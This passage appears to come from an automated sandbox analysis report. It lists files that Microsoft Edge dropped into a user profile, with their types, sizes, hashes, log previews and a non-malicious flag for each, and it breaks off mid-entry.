Preview:	2024/11/24-17:24:22.937 1db4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/24-17:24:22.938 1db4 Recovering log #3.2024/11/24-17:24:22.941 1db4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1412831904512215
Encrypted:	false
SSDEEP:	6:HqWAH0Vq2P923oH+TcwtrQMxIFUt8YqW+gZmw+YqWyfIkwO923oH+TcwtrQMFLJ:KDMv4YebCFUt8XU/+XTA5LYebtJ
MD5:	20B25CF066C9FBC79D0D2EED1DBD93FA
SHA1:	4E94627C7B92C21EEB1820DE60E7266A6DFCC08B
SHA-256:	C03B58FC00F26D54FA3AA779A8794B16BE6D44B68DE390D085485D3C0DBDB508
SHA-512:	A39BB7E5A247D2B486902724418C888B0F3C1E0BB22FDCD92DB97019E70CA027F475FCEED1F7EB8E595B4D9FED55BAC2699267FA88E150D435CD27C01452CD7D
Malicious:	false
Preview:	2024/11/24-17:24:22.937 1db4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/24-17:24:22.938 1db4 Recovering log #3.2024/11/24-17:24:22.941 1db4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376960664502680

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.812989365796175
Encrypted:	false
SSDEEP:	24:3kBaH92wMgOXG30Aye0pwipsAF4unxmtLp3X2amEtG1ChqJUSAnZL1EQKkOAM4z:34aH92wDd30AIpwizF4Lp2FEkChokLXq
MD5:	6AFB5922566748CEB2D8E23ABEA20255
SHA1:	6385C14493A51C7F208338B36F1045EDD8C31BE5
SHA-256:	4E17E374A0F564A54764980544A7AAEA9815C0F03E325492B95A310978418CF1
SHA-512:	7EC0C31D704F1DCCE7F6B83DD7ECB0EAD06679CB6587E323491D2FF648BF9ED9902FF83F0386140819FB5A4848503C159C709AE1A92269307FDD4148DC071EF1
Malicious:	false
Preview:	SNSS................................"........................................................!.............................................1..,.......$...6a74d02f_c2de_4757_8506_5dd87301e9e1......................3\|\|..................................................................5..0.......&...{98952893-68FF-4A5D-A164-705C709ED3DB}.........................................................................edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........C!..'.. C!..'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.1374882251826754
Encrypted:	false
SSDEEP:	6:Hqaohq2P923oH+Tcwt7Uh2ghZIFUt8YqaocZmw+YqaoPRFkwO923oH+Tcwt7Uh2w:Kaohv4YebIhHh2FUt8Xaoc/+XaopF5L0
MD5:	6CFE83A2DCC9A379372F3A0BD1707B7B
SHA1:	9311654A5552B6DD54DB097350014AC65856208B
SHA-256:	F3A8821D278E3FBCD0965CBDF223226FECB6D69CD6164B4948C915025CCBBD64
SHA-512:	4A1DE23395B55BA519E49E632B2EFC232DE50B68D6D7FC4E8BB3B9E6B68F1CDDCC1093157EC2FE5CA45BB448AFB3AEF5405E30A329C9782FF394FC3DEE067EF2
Malicious:	false
Preview:	2024/11/24-17:24:21.983 1c84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/24-17:24:21.983 1c84 Recovering log #3.2024/11/24-17:24:21.984 1c84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.1374882251826754
Encrypted:	false
SSDEEP:	6:Hqaohq2P923oH+Tcwt7Uh2ghZIFUt8YqaocZmw+YqaoPRFkwO923oH+Tcwt7Uh2w:Kaohv4YebIhHh2FUt8Xaoc/+XaopF5L0
MD5:	6CFE83A2DCC9A379372F3A0BD1707B7B
SHA1:	9311654A5552B6DD54DB097350014AC65856208B
SHA-256:	F3A8821D278E3FBCD0965CBDF223226FECB6D69CD6164B4948C915025CCBBD64
SHA-512:	4A1DE23395B55BA519E49E632B2EFC232DE50B68D6D7FC4E8BB3B9E6B68F1CDDCC1093157EC2FE5CA45BB448AFB3AEF5405E30A329C9782FF394FC3DEE067EF2
Malicious:	false
Preview:	2024/11/24-17:24:21.983 1c84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/24-17:24:21.983 1c84 Recovering log #3.2024/11/24-17:24:21.984 1c84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.238922777424284
Encrypted:	false
SSDEEP:	6:HqWgROq2P923oH+TcwtzjqEKj3K/2jMGIFUt8YqWTZmw+YqWVkwO923oH+Tcwtzg:KpOv4YebvqBQFUt8Xo/+X05LYebvqBvJ
MD5:	321A117E8729C3AADD6268A9101B7B8E
SHA1:	F8A6331647DC368313E2AF564FFA687803216890
SHA-256:	51F5CAE480664348C8A8AD300F629034FD1087DE5F101DDFEEA82C003F0F48D0
SHA-512:	8FD4F3F3219E192C85C8A801459F902ED88FB117E92EB95842FF54F7922BFAB038EE1560A6C2DD4A55F93E0076F36BB8273215893FF613FE9CDE2CE60ED1AF28
Malicious:	false
Preview:	2024/11/24-17:24:22.950 1c60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/24-17:24:22.953 1c60 Recovering log #3.2024/11/24-17:24:22.957 1c60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.238922777424284
Encrypted:	false
SSDEEP:	6:HqWgROq2P923oH+TcwtzjqEKj3K/2jMGIFUt8YqWTZmw+YqWVkwO923oH+Tcwtzg:KpOv4YebvqBQFUt8Xo/+X05LYebvqBvJ
MD5:	321A117E8729C3AADD6268A9101B7B8E
SHA1:	F8A6331647DC368313E2AF564FFA687803216890
SHA-256:	51F5CAE480664348C8A8AD300F629034FD1087DE5F101DDFEEA82C003F0F48D0
SHA-512:	8FD4F3F3219E192C85C8A801459F902ED88FB117E92EB95842FF54F7922BFAB038EE1560A6C2DD4A55F93E0076F36BB8273215893FF613FE9CDE2CE60ED1AF28
Malicious:	false
Preview:	2024/11/24-17:24:22.950 1c60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/24-17:24:22.953 1c60 Recovering log #3.2024/11/24-17:24:22.957 1c60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\18bc3b21-0375-4036-ae84-95b884ce8012.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF39ba5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\b26b19d7-2d14-4aca-b895-b3491750472d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\cc648f87-48c7-4cb5-8b2b-9a63cc367d95.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.214624805347003
Encrypted:	false
SSDEEP:	6:HqsLI9Vq2P923oH+TcwtzjqEKj0QMxIFUt8YqsLsgZmw+YqsLy0IkwO923oH+Tcq:Ktv4YebvqBZFUt8Xk/+X5P5LYebvqBaJ
MD5:	B4B498392AF01AC8F00E85E17AACC372
SHA1:	D401D86BAA2F6C3EE3D818528893C80D42C39E27
SHA-256:	B842A72660DFAF46D1E5DBCBC454554F162578BEA6CF968B7BEEC8F6CA82E636
SHA-512:	F79A66DD3B34EF92B8E7A5670249C05335D97A3227EBEF9AD92DC443FF9CCAB95680ACAF121A485C1E1A6309BE4DCD2870EF07F3852BD83076C838EDC6C539C6
Malicious:	false
Preview:	2024/11/24-17:24:41.377 1db4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/24-17:24:41.386 1db4 Recovering log #3.2024/11/24-17:24:41.413 1db4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.214624805347003
Encrypted:	false
SSDEEP:	6:HqsLI9Vq2P923oH+TcwtzjqEKj0QMxIFUt8YqsLsgZmw+YqsLy0IkwO923oH+Tcq:Ktv4YebvqBZFUt8Xk/+X5P5LYebvqBaJ
MD5:	B4B498392AF01AC8F00E85E17AACC372
SHA1:	D401D86BAA2F6C3EE3D818528893C80D42C39E27
SHA-256:	B842A72660DFAF46D1E5DBCBC454554F162578BEA6CF968B7BEEC8F6CA82E636
SHA-512:	F79A66DD3B34EF92B8E7A5670249C05335D97A3227EBEF9AD92DC443FF9CCAB95680ACAF121A485C1E1A6309BE4DCD2870EF07F3852BD83076C838EDC6C539C6
Malicious:	false
Preview:	2024/11/24-17:24:41.377 1db4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/24-17:24:41.386 1db4 Recovering log #3.2024/11/24-17:24:41.413 1db4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.213333960913539
Encrypted:	false
SSDEEP:	6:Hqaohq2P923oH+TcwtpIFUt8YqaomjZZmw+YqaomjzkwO923oH+Tcwta/WLJ:Kaohv4YebmFUt8XaoG/+Xao65LYebaUJ
MD5:	89F63508779BFFFFBF3D809874888FDB
SHA1:	8598EAF4A5C6AECF2F6C17A678B73FAD04E67EAC
SHA-256:	0A7E646B1BDC89A784824CDF13425D86217658F3A2BF2C76DD24ED78C5B02E16
SHA-512:	A33DBDEFBEB3BBA26AEFA2A0848A3B5DA5B6F95BE079F19164B7996E9D5C67590E97F5A5FEEF06847E88DF6A2BC8AFD72DB0EFF6D5D5E39B4C81FC81A976412D
Malicious:	false
Preview:	2024/11/24-17:24:21.983 1c84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/24-17:24:21.985 1c84 Recovering log #3.2024/11/24-17:24:21.985 1c84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.213333960913539
Encrypted:	false
SSDEEP:	6:Hqaohq2P923oH+TcwtpIFUt8YqaomjZZmw+YqaomjzkwO923oH+Tcwta/WLJ:Kaohv4YebmFUt8XaoG/+Xao65LYebaUJ
MD5:	89F63508779BFFFFBF3D809874888FDB
SHA1:	8598EAF4A5C6AECF2F6C17A678B73FAD04E67EAC
SHA-256:	0A7E646B1BDC89A784824CDF13425D86217658F3A2BF2C76DD24ED78C5B02E16
SHA-512:	A33DBDEFBEB3BBA26AEFA2A0848A3B5DA5B6F95BE079F19164B7996E9D5C67590E97F5A5FEEF06847E88DF6A2BC8AFD72DB0EFF6D5D5E39B4C81FC81A976412D
Malicious:	false
Preview:	2024/11/24-17:24:21.983 1c84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/24-17:24:21.985 1c84 Recovering log #3.2024/11/24-17:24:21.985 1c84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.26505610387446
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkM4SAELyKOMq+8yC8F/YfU5m+OlTLVum+:Bq+n0J49ELyKOMq+8y9/OwV
MD5:	90E64EAB74D95279B563D19C198EE42C
SHA1:	9B8C1201E2F7C0426E0A462F0A8ADB76C792F470
SHA-256:	AFC18C445CB0A8EC2E43B83F82EFA98F10FB4ADEC4AE2E5C122912C4EAC8D814
SHA-512:	26CC7FD0BD7F333FDD4C27788BC779108308C28B62C1C6FAF4648F717000FC04D5F080739945BFF9A1CCF4B0A09932F746CEB9758035BFA334CC50D2B68D29F4
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4665696296925733
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0zy:v7doKsKuKZKlZNmu46yjx0W
MD5:	29E7517B72B846934C4BE128C5775CB5
SHA1:	E60A167C70016B535D473EA984226298E83DF496
SHA-256:	A3497FD3272314A4AA57720C74A368F4B3EEEDB6233BE64E51D4DAFECC8CC187
SHA-512:	EDA37BC694F184346E0A00BE8A3E38236D3E33D5EEC646660A5145C74DD89BEE3EB956F9CBE600A7A4E38EE93E8D2A565DED891AA3611C856FB8CFD6B31BEDDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c03a1570-2cad-4ebe-bdc5-b6aa17d3f62a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
